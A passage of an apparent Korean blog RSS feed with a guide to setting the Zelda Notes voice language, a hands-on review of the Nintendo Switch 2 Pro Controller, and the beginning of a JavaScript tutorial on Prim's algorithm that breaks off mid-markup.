      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;닌텐도 스위치 앱의 젤다 노트의 보이스 메모리의 음성 언어는 영어로 기본 설정 되어 있고, 일본어나 그 외 언어는 아래와 같은 방법으로 수정 가능하다&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;306&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3wOuU/btsOtssTD2E/e8tJcXfDKaS3VI5PuQ8Aw1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3wOuU/btsOtssTD2E/e8tJcXfDKaS3VI5PuQ8Aw1/img.jpg&quot; data-alt=&quot;더보기 메뉴 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3wOuU/btsOtssTD2E/e8tJcXfDKaS3VI5PuQ8Aw1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3wOuU%2FbtsOtssTD2E%2Fe8tJcXfDKaS3VI5PuQ8Aw1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;306&quot; height=&quot;156&quot; data-origin-width=&quot;306&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;더보기 메뉴 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;306&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RjVHj/btsOrvZiv69/g6AypRVASRrokSuWiCXja1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RjVHj/btsOrvZiv69/g6AypRVASRrokSuWiCXja1/img.jpg&quot; data-alt=&quot;소프트웨어내 설정 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RjVHj/btsOrvZiv69/g6AypRVASRrokSuWiCXja1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRjVHj%2FbtsOrvZiv69%2Fg6AypRVASRrokSuWiCXja1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;306&quot; height=&quot;160&quot; data-origin-width=&quot;306&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;소프트웨어내 설정 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9NyLG/btsOrt8fDYs/ZuBzgF8miguUSjSSF3tbRK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9NyLG/btsOrt8fDYs/ZuBzgF8miguUSjSSF3tbRK/img.jpg&quot; data-alt=&quot;음성 언어 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9NyLG/btsOrt8fDYs/ZuBzgF8miguUSjSSF3tbRK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9NyLG%2FbtsOrt8fDYs%2FZuBzgF8miguUSjSSF3tbRK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;307&quot; height=&quot;468&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;음성 언어 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KYfEw/btsOssNVjOm/dsLqDCtSkVwasKqidhUkk1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KYfEw/btsOssNVjOm/dsLqDCtSkVwasKqidhUkk1/img.jpg&quot; data-alt=&quot;일본어 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KYfEw/btsOssNVjOm/dsLqDCtSkVwasKqidhUkk1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKYfEw%2FbtsOssNVjOm%2FdsLqDCtSkVwasKqidhUkk1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;307&quot; height=&quot;380&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;일본어 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;</description>
      <category>리뷰</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/489</guid>
      <comments>https://eyecandyzero.tistory.com/489#entry489comment</comments>
      <pubDate>Sat, 7 Jun 2025 23:08:49 +0900</pubDate>
    </item>
    <item>
      <title>Nintendo Switch 2 Pro 컨트롤러(프로콘2 사용 후기/리뷰)</title>
      <link>https://eyecandyzero.tistory.com/488</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_4405.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Tm4A/btsOszFOgyW/Out5rzW1s0pqRZANe3kwe1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Tm4A/btsOszFOgyW/Out5rzW1s0pqRZANe3kwe1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Tm4A/btsOszFOgyW/Out5rzW1s0pqRZANe3kwe1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Tm4A%2FbtsOszFOgyW%2FOut5rzW1s0pqRZANe3kwe1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4032&quot; height=&quot;3024&quot; data-filename=&quot;IMG_4405.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;닌텐도가 새로운 하드웨어와 함께 선보인 신형 컨트롤러, &lt;b&gt;Nintendo Switch Pro Controller 2(이하 프로콘2)&lt;/b&gt;를 직접 사용해보았습니다. 저는 닌텐도 스위치 초창기부터 꾸준히 프로콘을 사용해왔기 때문에, 이번 신형 모델이 공개되었을 때 개인적으로도 기대가 컸습니다. 특히 전작은 그립감과 배터리 지속력 면에서 매우 만족스러웠던 기억이 있었기 때문에, 이번 프로콘2가 어떤 점에서 개선되었고 또 어떤 변화가 체감될지 무척 궁금했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제품을 받아본 첫인상은 생각보다 &quot;조용한 업그레이드&quot;에 가깝다는 느낌이었습니다. 외형적으로는 기존 프로콘과 크게 다르지 않지만, 세부적으로 살펴보면 닌텐도가 사용자 피드백을 얼마나 세심하게 반영했는지 느낄 수 있는 부분이 많았습니다. 특히 후면에 새로 탑재된 GL/GR 버튼이나, 오디오 단자 추가, 진동의 세밀함 등은 짧은 시간 안에도 분명하게 체감할 수 있었고, 게임 플레이에 있어 확실한 차이를 만들어주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 이번 프로콘2는 단순히 디자인이나 하드웨어적인 변화만이 아니라, 닌텐도가 게임 경험 자체를 어떻게 확장해가려 하는지 보여주는 방향성이 담긴 컨트롤러라고 느껴졌습니다. 예전 같으면 외부 앱을 통해서만 가능했던 음성 채팅 기능이 드디어 컨트롤러 자체에서 해결 가능해졌고, C 버튼이라는 새로운 입력 방식이 등장한 것도 흥미로운 부분이었습니다. 이처럼 작지만 실용적인 변화들이 모여, 전체적인 사용 경험을 더 편리하고 유연하게 만들어주고 있다는 인상을 받았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 제가 직접 사용하면서 느낀 점들을 중심으로, 프로콘2의 주요 기능과 스펙, 장단점, 그리고 이전 세대와의 비교까지 정리해보았습니다. 만약 닌텐도 스위치2를 계획하고 계시거나, 기존 프로콘에서 업그레이드를 고려 중이라면 이 리뷰가 하나의 판단 기준이 되었으면 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주요 스펙과 기능 요약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;크기/무게:&lt;/b&gt; 105 &amp;times; 148 &amp;times; 60.2mm / 235g (기존 대비 더 작고 가벼움)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;후면 버튼 추가:&lt;/b&gt; GL/GR 버튼 2개로 커스터마이징 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;C 버튼 탑재:&lt;/b&gt; 게임 내 채팅 기능 전용 버튼&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오디오 지원:&lt;/b&gt; 3.5mm 헤드셋 단자 지원 (CTIA 4극)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;진동 및 모션 센서:&lt;/b&gt; 향상된 HD Rumble 2, 자이로&amp;middot;가속도 센서 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;배터리 성능:&lt;/b&gt; 최대 40시간 사용, 충전 시간 약 3.5시간&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기타:&lt;/b&gt; NFC(아미보), 캡처 버튼, USB-C 충전 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGx9Cq/btsOq8Qy7lY/SnY8DkSpnKuQcuWdglMsZk/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGx9Cq/btsOq8Qy7lY/SnY8DkSpnKuQcuWdglMsZk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGx9Cq/btsOq8Qy7lY/SnY8DkSpnKuQcuWdglMsZk/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGx9Cq%2FbtsOq8Qy7lY%2FSnY8DkSpnKuQcuWdglMsZk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;428&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzvpCi/btsOsCWNx8y/6pQ9PHKlyhCup0DluW8uw1/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzvpCi/btsOsCWNx8y/6pQ9PHKlyhCup0DluW8uw1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzvpCi/btsOsCWNx8y/6pQ9PHKlyhCup0DluW8uw1/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzvpCi%2FbtsOsCWNx8y%2F6pQ9PHKlyhCup0DluW8uw1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;428&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ovQb6/btsOryBc4oi/gkrqJV2iM2sfdUdHj6j40K/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ovQb6/btsOryBc4oi/gkrqJV2iM2sfdUdHj6j40K/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ovQb6/btsOryBc4oi/gkrqJV2iM2sfdUdHj6j40K/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FovQb6%2FbtsOryBc4oi%2FgkrqJV2iM2sfdUdHj6j40K%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;428&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;그립감과 디자인 개선&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체적인 디자인은 전작과 유사하지만, 미세하게 줄어든 크기와 무광 마감으로 한층 정제된 느낌을 줍니다. 손에 쥐었을 때의 안정감은 여전히 뛰어나며, 후면 버튼이 새롭게 추가되었음에도 불편함 없이 자연스럽게 배치되어 있다는 평가가 많습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;조작감 및 반응성 향상&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아날로그 스틱&lt;/b&gt;은 특히 높은 평가를 받고 있습니다. 걸리는 느낌 없이 부드럽게 움직이며, 복귀 속도도 개선되어 정밀한 조작이 요구되는 게임에서 강점을 보입니다. &lt;b&gt;후면 버튼&lt;/b&gt;은 다양한 게임에 활용도를 높일 수 있어, 특히 경쟁 게임 유저들 사이에서 호응이 좋습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, &lt;b&gt;트리거 버튼은 여전히 디지털 방식&lt;/b&gt;이기 때문에 아날로그 트리거를 선호하는 유저들에겐 아쉬움이 남습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;오디오 기능과 통합 채팅 지원&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 프로콘2의 가장 큰 변화 중 하나는 &lt;b&gt;유선 헤드셋 연결이 가능&lt;/b&gt;하다는 점입니다. 이제 별도의 앱 없이 컨트롤러만으로 보이스 채팅이 가능하며, 이를 위한 전용 버튼(C 버튼)도 탑재되어 사용자 경험이 대폭 개선되었습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;배터리 성능과 연결 안정성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배터리는 최대 40시간까지 지속되며, 충전 시간은 약 3.5시간으로 단축되었습니다. 무선 연결은 Bluetooth 기반으로 안정적이며, NFC, 자이로센서 등도 그대로 지원해 기능적으로도 균형이 잘 잡혀 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;전작과 비교한 차이점&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;프로콘1&lt;/th&gt;
&lt;th&gt;프로콘2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;무게&lt;/td&gt;
&lt;td&gt;약 246g&lt;/td&gt;
&lt;td&gt;약 235g&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;후면 버튼&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;GL/GR 버튼 2개 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;오디오 지원&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;td&gt;3.5mm 헤드셋 단자 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;채팅 기능&lt;/td&gt;
&lt;td&gt;앱 필요&lt;/td&gt;
&lt;td&gt;C 버튼으로 직접 호출 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;진동&lt;/td&gt;
&lt;td&gt;HD Rumble&lt;/td&gt;
&lt;td&gt;HD Rumble 2 (향상됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;배터리 충전 시간&lt;/td&gt;
&lt;td&gt;약 6시간 이상&lt;/td&gt;
&lt;td&gt;약 3.5시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;디자인 마감&lt;/td&gt;
&lt;td&gt;유광 플라스틱&lt;/td&gt;
&lt;td&gt;무광 고급 소재&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;장점 요약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전작 대비 더 가볍고 컴팩트한 디자인&lt;/li&gt;
&lt;li&gt;부드럽고 반응성 높은 아날로그 스틱&lt;/li&gt;
&lt;li&gt;커스터마이징 가능한 후면 버튼&lt;/li&gt;
&lt;li&gt;유선 오디오 지원으로 편리해진 음성 채팅&lt;/li&gt;
&lt;li&gt;긴 배터리 지속 시간과 빠른 충전 속도&lt;/li&gt;
&lt;li&gt;자이로, 진동, NFC 등 기존 기능 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;단점 및 개선 여지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;아날로그 트리거 미지원 (레이싱 게임 유저에겐 아쉬움)&lt;/li&gt;
&lt;li&gt;스틱 드리프트 방지 기술(Hall 센서) 미채택&lt;/li&gt;
&lt;li&gt;가격 상승 (전작 대비 10~15% 인상)&lt;/li&gt;
&lt;li&gt;디자인 외형이 큰 변화 없다는 점에서 일부 아쉬움&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;직접 사용해 본 소감&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로콘2를 사용해본 결과, 다음과 같은 점들이 인상 깊었습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;아날로그 스틱의 사용감은 매우 &amp;ldquo;쫀득&amp;rdquo;한 느낌&lt;/b&gt;을 줍니다. 움직일 때의 저항감과 복귀 시 탄력감이 잘 조율되어 있어, 정밀한 조작이 필요한 게임에서 손맛이 살아납니다. 단순히 부드럽기만 한 게 아니라 &quot;밀착감 있는 움직임&quot;이라는 인상이 강합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GL/GR 후면 버튼은 익숙해지면 유용하지만&lt;/b&gt;, 파지법에 따라서는 중지 손가락이 버튼에 닿아 &lt;b&gt;의도치 않게 눌릴 가능성&lt;/b&gt;도 있습니다. 손이 큰 유저나 컨트롤러를 깊게 쥐는 스타일이라면 주의가 필요하며, 버튼 위치를 고려해 손가락 위치를 조정하는 습관이 어느 정도 필요했습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;전체적인 버튼 클릭감은 우수한 편&lt;/b&gt;입니다. ABXY 및 기타 보조 버튼 모두 &lt;b&gt;정확하게 눌리는 느낌과 반발력&lt;/b&gt;이 있어 피로감 없이 사용할 수 있었습니다. 특히 장시간 게임에도 손가락에 부담이 덜한 점이 인상적이었습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 평가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로콘2는 닌텐도 컨트롤러의 장점을 충실히 계승하면서도, &lt;b&gt;유저가 필요로 했던 기능들을 세심하게 추가한 발전형 제품&lt;/b&gt;입니다. 새로운 기능이 실제 플레이에 실질적인 영향을 주며, 특히 경쟁 게임이나 온라인 플레이를 자주 하는 유저라면 큰 만족감을 얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 전작도 여전히 우수한 컨트롤러였기 때문에, 구매 여부는 &lt;b&gt;신규 기능의 필요성 여부에 따라 판단&lt;/b&gt;하면 좋겠습니다. 스위치2를 새롭게 구매한 유저라면, &lt;b&gt;프로콘2는 함께 구입할 만한 가치 있는 구성&lt;/b&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 대상:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스위치2를 새로 구입한 유저&lt;/li&gt;
&lt;li&gt;온라인 멀티플레이 중심의 게임을 즐기는 유저&lt;/li&gt;
&lt;li&gt;후면 버튼과 음성 채팅 기능을 활용하고 싶은 유저&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비추천 대상:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단순한 싱글 게임만 즐기는 유저&lt;/li&gt;
&lt;li&gt;기존 프로콘1을 보유 중이며 기능 추가에 관심이 없는 유저&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>리뷰/제품</category>
      <category>닌텐도스위치2</category>
      <category>프로콘2</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/488</guid>
      <comments>https://eyecandyzero.tistory.com/488#entry488comment</comments>
      <pubDate>Fri, 6 Jun 2025 00:48:00 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 이해하는 프림 알고리즘 (Prim&amp;rsquo;s Minimum Spanning Tree)</title>
      <link>https://eyecandyzero.tistory.com/487</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;프림 알고리즘이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;프림 알고리즘(Prim's Algorithm)&quot;은 &quot;최소 신장 트리(Minimum Spanning Tree)&quot;를 찾기 위한 대표적인 방법 중 하나입니다. 이 알고리즘은 하나의 정점에서 시작해, &quot;가장 가까운 정점&quot;을 차례로 선택하며 트리를 확장해나가는 방식으로 동작합니다. 크루스칼 알고리즘이 &quot;간선 중심(edge-based)&quot;이라면, 프림은 &quot;정점 중심(vertex-based)&quot;이라는 점에서 구별됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;작동 방식 요약&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프림 알고리즘은 다음과 같은 단계로 작동합니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;임의의 시작 정점을 선택합니다.&lt;/li&gt;
&lt;li&gt;해당 정점과 인접한 간선 중에서 가장 가중치가 작은 간선을 선택합니다.&lt;/li&gt;
&lt;li&gt;선택된 간선으로 연결된 정점을 방문하며 트리에 포함시킵니다.&lt;/li&gt;
&lt;li&gt;방문하지 않은 정점들 중에서 트리에 연결할 수 있는 최소 비용의 간선을 반복해서 선택합니다.&lt;/li&gt;
&lt;li&gt;모든 정점을 방문할 때까지 위 과정을 반복합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;우선순위 큐&quot;(보통 Min Heap)를 활용하면 각 단계에서 가장 가중치가 낮은 간선을 빠르게 선택할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageslideblock alignCenter&quot; data-image=&quot;[{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/byf3ST/btsOqtMwZmh/BvnJZN1i70dyGHLKR6mMV0/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/C1D3L/btsOpGlB2sR/Sx9FX2GzbZSoDl6o1MEzKk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/bCgNVE/btsOqHjrhVE/iNwCYdKWxBlxA2JkHymPRk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/xpLs2/btsOpDP0QaN/JNl6Lx7ssNPKzh7anC2GW1/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/DkeMo/btsOp7ppbVI/v09UzwzG6BT3CwML8mMkk0/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/Io9JR/btsOo84fAyf/1NWF3xIOLCMPUVpxdTutA1/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/bg7VVS/btsOpfWmCOz/CzpN09kSjoLBe51Rv4Lg01/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/cu2iYJ/btsOo9aZZLp/SHalRi46HHKdtOqYgRKWMk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/PLgh7/btsOp9nc4JQ/OkAkjjQZUZAKL4XAtDzGhk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/bGzfmE/btsOp98BDj6/tg1fevdZtRcP1TqlR7Nf7K/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/Gkgq8/btsOqr81igc/XdWs4SGoQpGxft1X8tI91K/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/IRDv0/btsOo8Xrh1i/Nj1NWB5sxjRPCpm62DJWr1/img.webp&amp;quot;}]&quot;&gt;
